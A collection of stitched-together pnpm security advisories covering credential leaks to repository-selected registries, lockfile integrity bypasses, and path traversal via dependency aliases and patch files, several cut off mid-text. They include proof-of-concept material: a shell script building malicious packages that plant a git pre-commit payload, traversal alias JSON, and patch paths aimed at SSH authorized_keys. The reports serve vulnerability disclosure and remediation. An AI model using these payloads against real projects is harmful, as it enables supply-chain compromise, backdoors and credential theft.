config/reader/test/getOptionsFromRootManifest.test.ts cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib git diff --check cargo fmt --check ``` The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-122-patched-result.json`. <!-- maintainer-action:end --> # CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run ## Advisory Details ### Summary pnpm and pacquet expanded `${ENV_VAR}` placeholders from repository-controlled `.npmrc` and `pnpm-workspace.yaml` into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run. ### Details The vulnerable TypeScript pnpm path was: - `config/reader/src/loadNpmrcFiles.ts` loaded project `.npmrc` and substituted environment placeholders in keys and values. - `config/reader/src/getOptionsFromRootManifest.ts` substituted environment placeholders inside workspace `registry`, `regis

While it is unclear whether this should be classified as a vulnerability, it is being reported through this channel because the current behavior may represent an unsafe default. ## Summary `pnpm install` in non-frozen mode can accept new remote package content after detecting that the downloaded tarball does not match the integrity recorded in `pnpm-lock.yaml`. When a package is already locked with an `integrity` value, and the registry later serves different metadata and tarball content for the same package name and version, pnpm initially reports an integrity mismatch. However, plain `pnpm install` then performs a resolution repair, accepts the registry's new integrity, updates the lockfile, installs the new content, and exits successfully. This means the lockfile integrity check does not act as a hard stop by default. ## Reproduction Scenario 1. Run a local npm-compatible registry. 2. Publish or serve `example-package@1.0.0` with tarball content `v1`. 3. Install it with pnpm: ```bash pnpm add example-package@1.0.0 --registry=http://127.0.0.1:48741 ``` 4. Confirm `pnpm-lock.yaml` contains the `v1` integrity: ```yaml packages: example-package@1.0.0: resolution: integrity: sha512-...v1... ``` 5. Change the registry metadata and tarball for the same `example-package@1.0.0` to content `v2`. 6. On a clean store/cache, run: ```bash pnpm install --registry=http://127.0.0.1:48741 ``` ## Observed Behavior pnpm detects the checksum mismatch: ```text WARN Got unexpected checksum for "http://127.0.0.1:48741/example-package/-/example-package-1.0.0.tgz". Wanted "sha512-...v1..." Got "sha512-...v2...". ERR_PNPM_TARBALL_INTEGRITY The lockfile is broken! Resolution step will be performed to fix it. ``` However, the install still succeeds: ```text INSTALL_RC=0 INSTALLED=v2-replaced ``` The lockfile is then rewritten to trust the new remote integrity: ```yaml packages: example-package@1.0.0: resolution: integrity: sha512-...v2... ``` ## Expected Behavior If a downloaded tarball does not match the integrity recorded in `pnpm-lock.yaml`, the install should fail by default. The lockfile integrity should be treated as authoritative unless the user explicitly requests lockfile repair or dependency update behavior. ## Security Impact This behavior weakens the protection normally expected from a committed lockfile. If a registry is compromised and an attacker overwrites the metadata and tarball for an existing package version, a new environment without the old pnpm store/cache may install the attacker's replacement package even though the project already has a lockfile with the original integrity. Examples of affected new or clean environments include: - an engineer setting up the project on a new machine - a new team member onboarding to the project In this situation, pnpm first detects that the downloaded tarball does not match the integrity stored in `pnpm-lock.yaml`. However, instead of failing by default, plain `pnpm install` performs a resolution repair, trusts the current remote registry metadata, updates the lockfile to the new integrity, and installs the new registry content. In other words, when the lockfile and registry disagree, the default non-frozen behavior can end up trusting the remote registry over the content previously recorded in the lockfile. This is especially relevant for: - private registries that allow overwriting or republishing the same version - registry mirrors or proxies that can serve changed metadata and tarballs - compromised public or private registries - compromised registry proxy infrastructure The behavior is also surprising because the command reports an integrity error but still exits successfully after resolution repair. This issue does not occur when `--frozen-lockfile` is enabled. In frozen mode, the same integrity mismatch fails the install and does not install the changed package content. However, since the lockfile already records an integrity value, the integrity for the same package version should normally not change. If it does change, one likely explanation is that the server or registry has been compromised or is serving mutated package content. Under normal package publishing workflows, changed package content should be published as a new version instead of replacing an existing version. For that reason, it may be safer for pnpm's default behavior to be closer to frozen mode for this specific case. At minimum, pnpm should not automatically repair the lockfile and trust the registry after an integrity mismatch. It should fail and let the user explicitly decide whether to discard the locked integrity, re-resolve the package from the remote registry, and update the lockfile. ## Comparison In the same scenario, `npm install` with an existing `package-lock.json` fails with `EINTEGRITY` and does not install the changed tarball. `pnpm install --frozen-lockfile` also fails as expected: ```text ERR_PNPM_TARBALL_INTEGRITY ```

## Summary pnpm's tarball extraction worker skips integrity verification when the `integrity` field is absent from the lockfile resolution. If an attacker can both modify `pnpm-lock.yaml` to remove the `integrity:` field and cause the referenced registry URL to serve altered package content, `pnpm install --frozen-lockfile` can install the altered package without an integrity error. npm's `npm ci` enforces integrity by default; pnpm's behavior of silently skipping verification is a pnpm-specific fail-open gap. ## Vulnerability Details The `addTarballToStore` function in `worker/src/start.ts` (lines 189-204) checks `if (integrity)` before verifying the tarball hash. The `TarballResolution` type declares `integrity` as optional (`integrity?: string`). When the lockfile omits the `integrity` field, the guard evaluates to `false`, skipping hash verification entirely. The worker then computes a new hash from the unverified content and stores it as legitimate. ```typescript // worker/src/start.ts:189-204 function addTarballToStore ({ buffer, storeDir, integrity, ... }: TarballExtractMessage) { if (integrity) { // false when integrity is undefined const { algorithm, hexDigest } = parseIntegrity(integrity) const calculatedHash = crypto.hash(algorithm, buffer, 'hex') if (calculatedHash !== hexDigest) { return { status: 'error', error: { type: 'integrity_validation_failed', ... } } } } return { status: 'success', value: { integrity: integrity ?? calcIntegrity(buffer) }, } } ``` ## Proof of Concept ```bash bash autofyn_audit/exploits/vuln1_integrity_bypass/exploit.sh # Publishes a package, generates lockfile, republishes tampered version, # strips integrity field, re-runs install --frozen-lockfile. # Result: PASS -- tampered package installed without integrity error. ``` ## Impact Supply chain compromise in environments where an attacker can both alter the lockfile and cause the referenced registry URL to serve altered package content. The `--frozen-lockfile` flag does not fail closed when the integrity field is missing. ## Suggested Remediation Require an `integrity` field for remote tarball resolutions. Change the `if (integrity)` guard to fail when integrity is absent for non-local packages. When `--frozen-lockfile` is active, reject lockfile entries that lack integrity for remote packages. --- > Discovered by [AutoFyn](https://github.com/SignalPilot-Labs/AutoFyn) > Full audit report: [audit_report.md](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/audit_report.md) > Exploit script: [exploit.sh](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/exploits/vuln1_integrity_bypass/exploit.sh)

## Summary pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local `.npmrc` file. In the reproduced case, the user's npm config contains a default registry and an unscoped `_authToken`. The repository does not provide a token-bearing auth line. It only sets `registry=` to a different registry URL. During normal pnpm metadata/install workflows, pnpm binds the user-origin unscoped credential to the repository-selected registry and sends it as an `Authorization` header. This was reproduced with fake credentials and loopback registries only. No third-party registry or real token was used. ## Affected Behavior Observed Observed affected: - pnpm `10.33.2`: `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry. - pnpm `11.1.3`: `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry. - pnpm `11.2.1` (`next-11` dist tag at testing time): `pnpm install --ignore-scripts` sends the user-level unscoped `_authToken` to the repository-selected registry. - pnpm `11.1.3`: `pnpm view` also sends user-level unscoped `_authToken`, `_auth`, and `username` / `_password` credentials to the repository-selected registry in the local loopback replay. Control: - npm `10.9.7` rejects the same unscoped user `_authToken` configuration with `ERR_INVALID_AUTH` and does not send an `Authorization` header to the repository-selected registry. - URL-scoped registry token controls held in the local loopback replay: tokens scoped to the trusted registry URL were not sent to the attacker registry. ## Threat Model Victim: - developer or CI job with user-level npm registry credentials configured; - runs `pnpm install`, `pnpm view`, or an equivalent pnpm metadata/restore command in a repository. Attacker: - controls repository-local package manager configuration, such as `.npmrc`; - can set `registry=` to a registry endpoint they control; - does not need to provide a token-bearing auth line for the strong case. Boundary: Credentials from a higher-trust user configuration should not be rebound to a lower-trust repository-selected registry unless the credential is explicitly scoped to that registry. ## Minimal Reproduction The reproducer below starts two loopback HTTP registries: - a trusted registry URL used in the isolated user `.npmrc`; - an attacker registry URL used in the repository-local `.npmrc`. The isolated user `.npmrc` contains: ```ini registry=<trusted-loopback-registry> _authToken=PR166_FAKE_REGISTRY_TOKEN ``` The repository-local `.npmrc` contains: ```ini registry=<attacker-loopback-registry> ``` The repository `package.json` depends on a toy package served by the loopback registry. The script then runs: ```text pnpm install --ignore-scripts npm install --ignore-scripts ``` ## Expected Safe Behavior pnpm should not send the user-level unscoped `_authToken` to the repository-selected registry. A safe behavior would be to reject or ignore the unscoped credential in this lower-trust registry-rebinding situation and require the credential to be URL-scoped to the selected registry. ## Observed Behavior pnpm `10.33.2`, pnpm `11.1.3`, and pnpm `11.2.1` send: ```http Authorization: Bearer PR166_FAKE_REGISTRY_TOKEN ``` to the attacker loopback registry during install. npm `10.9.7` rejects the same config and sends no `Authorization` header. ## Security Impact This can disclose npm registry credentials from user-level configuration to a registry endpoint selected by an untrusted repository. The leak occurs before package lifecycle scripts run and does not depend on package code execution. ## Non-Claims This report does not claim: - remote code execution; - registry account compromise by itself; - leakage of URL-scoped tokens for a different registry; - npm CLI impact; - impact from a repository explicitly committing its own token-bearing auth line. ## Source-Level Notes In pnpm's config/auth-header flow, unscoped/default credentials are parsed from the merged auth config and stored as default credentials. The auth-header logic then maps those default credentials to the effective default registry. Because repository-local `.npmrc` can change the effective default registry, higher-trust default credentials can be applied to a lower-trust registry choice. ## Suggested Fix Direction The conservative fix direction is to reject or contain unscoped/default auth credentials when a lower-trust workspace/repository config changes the default registry. A compatibility-preserving fix could track the source layer of both the default registry and the default credentials, then only bind default credentials to a registry selected by the same or higher-trust source. A stricter npm-compatible fix would reject unscoped auth and require URL-scoped credentials. This needs maintainer semantic review and compatibility control because some legacy workflows may inte

## Summary pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause `pnpm install - ignore-scripts` to replace paths in the current project with symlinks to attacker-controlled dependency package directories. `.git/hooks` is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example: - `.husky` or `.githooks` for Git hook dispatchers - `scripts/`, `tools/`, `bin/`, or `tests/` for project scripts and CI commands - `.github/actions/<name>` for local GitHub Actions used later in the workflow - `dist/` or other publish/build output directories before `pnpm pack` or `pnpm publish` - `node_modules/.bin` or undeclared `node_modules/<name>` paths used by later command or module resolution Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation. This was reproduced with `pnpm@11.2.1`. ## Impact Users often run `pnpm install --ignore-scripts` expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command. Examples include `git commit`, `pnpm test`, `pnpm run build`, a CI step that uses a local GitHub Action, or `pnpm publish` packaging a replaced `dist/` directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces `.git/hooks`, and the payload runs when the victim later executes `git commit`. ## Root Cause pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination `node_modules` directory and passed to the symlink creation logic without rejecting `..` segments or checking that the normalized result stays inside the intended `node_modules` directory. Conceptually, a transitive alias like this: ```json { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } ``` is eventually treated like: ```text path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks") ``` The normalized destination escapes the dependency's `node_modules` directory and lands at the victim project's `.git/hooks` path. pnpm then creates a symlink at that escaped destination to the resolved `payload-hooks` package directory. The dependency chain is: ```text victim installs normal@1.0.0 normal@1.0.0 -> bad@1.0.0 bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias ``` The malicious transitive package metadata contains: ```json { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } ``` Because this uses an `npm:` registry alias, it does not rely on a transitive `file:` or `link:` dependency. ## Proof Of Concept Run: ```sh ./run.sh ``` ``` sh #!/bin/sh set -eu SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) WORKDIR="$SCRIPT_DIR/demo-workdir" REGISTRY_DIR="$WORKDIR/registry" TARBALLS_DIR="$REGISTRY_DIR/tarballs" VICTIM_DIR="$WORKDIR/victim" READY_FILE="$WORKDIR/registry-ready" PORT_FILE="$WORKDIR/registry-port" rm -rf "$WORKDIR" mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR" cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON' { "name": "payload-hooks", "version": "1.0.0", "bin": { "pre-commit": "pre-commit" }, "files": [ "pre-commit" ] } JSON cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF' #!/bin/sh echo PWNED >&2 exit 0 EOF chmod +x "$REGISTRY_DIR/payload-hooks/pre-commit" cat > "$REGISTRY_DIR/bad/package.json" <<'JSON' { "name": "bad", "version": "1.0.0", "description": "transitive registry package", "dependencies": { "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0" } } JSON cat > "$REGISTRY_DIR/normal/package.json" <<'JSON' { "name": "normal", "version": "1.0.0", "description": "normal looking package from a registry", "dependencies": { "bad": "1.0.0" } } JSON (cd "$REGISTRY_DIR/payload-hooks" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) (cd "$REGISTRY_DIR/bad" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) (cd "$REGISTRY_DIR/normal" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null) node - "$REGISTRY_DIR" "$READY_FILE" "$PORT_FILE" <<'NODE' & const http = require('node:http') const fs = require('node:fs') const path = require('node:path') const { execFileSync } = require('node:child_process') const [registr

## Summary pnpm's patch application pipeline (`@pnpm/patch-package`) performs no path validation on file paths extracted from `.patch` files. An attacker who contributes a malicious patch file via a pull request can write attacker-controlled content to or delete arbitrary files on the filesystem during `pnpm install`, as the user running the install. The `diff --git` header paths containing `../../` sequences traverse out of the package directory, and the traversal is difficult to catch in code review because patch file diff headers are opaque to most reviewers. ## Vulnerability Details During `pnpm install`, when a `patchedDependencies` entry is present in `pnpm-workspace.yaml`, pnpm reads the referenced `.patch` file and applies it via the embedded `@pnpm/patch-package` library. The `applyPatchToDir` function at `patching/apply-patch/src/index.ts:12-13` calls `process.chdir(opts.patchedDir)`, setting the working directory to the installed package location deep inside `node_modules/.pnpm/`. The patch parser at `@pnpm/patch-package/dist/patch/parse.js:88` extracts file paths from `diff --git a/(.*?) b/(.*?)` headers using a regex with no path sanitization. The `executeEffects` function in `apply.js` then operates on these unsanitized paths: **File write** (`apply.js:35-49`): ```javascript case 'file creation': { const eff = effect fs.ensureDirSync(dirname(eff.path)) fs.writeFileSync(eff.path, fileContents, { mode: eff.mode }) break } ``` **File delete** (`apply.js:13-22`): ```javascript case 'file deletion': { const eff = effect // TODO: integrity checks if (!opts.dryRun) { fs.unlinkSync(eff.path) } break } ``` A path like `../../../../../../../../../../home/user/.ssh/authorized_keys` in the patch header traverses out of the package directory to an arbitrary location. ## Proof of Concept ```bash # Write variant: bash autofyn_audit/exploits/vuln6_patch_traversal_write/exploit.sh # Result: PASS -- /tmp/vuln6_pwned created with attacker-controlled content # Delete variant: bash autofyn_audit/exploits/vuln7_patch_traversal_delete/exploit.sh # Result: PASS -- /tmp/vuln7_target deleted by malicious patch # Combined chain (delete + replace SSH authorized_keys): bash autofyn_audit/exploits/chain2_patch_ssh_backdoor/exploit.sh # Result: PASS -- authorized_keys replaced with attacker's public key ``` ## Impact Arbitrary file write and delete as the user running `pnpm install`, limited to paths writable by that user. An attacker who submits a PR adding a `.patch` file and `patchedDependencies` config can target SSH authorized_keys, shell configuration, CI/CD files, or other writable files. Patch files may receive less review scrutiny than `package.json` changes because the `../` traversal sequences are in `diff --git` headers that look like patch metadata. ## Suggested Remediation Validate parsed patch file paths against the package root directory. Reject any path that resolves outside the patched package directory via `path.resolve` + prefix check. Alternatively, sanitize at parse time by rejecting paths containing `..` components in `parse.js`. --- > Discovered by [AutoFyn](https://github.com/SignalPilot-Labs/AutoFyn) > Full audit report: [audit_report.md](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/audit_report.md) > Exploit script: [exploit.sh](https://github.com/tempcollab/pnpm/blob/main/autofyn_audit/exploits/vuln6_patch_traversal_write/exploit.sh)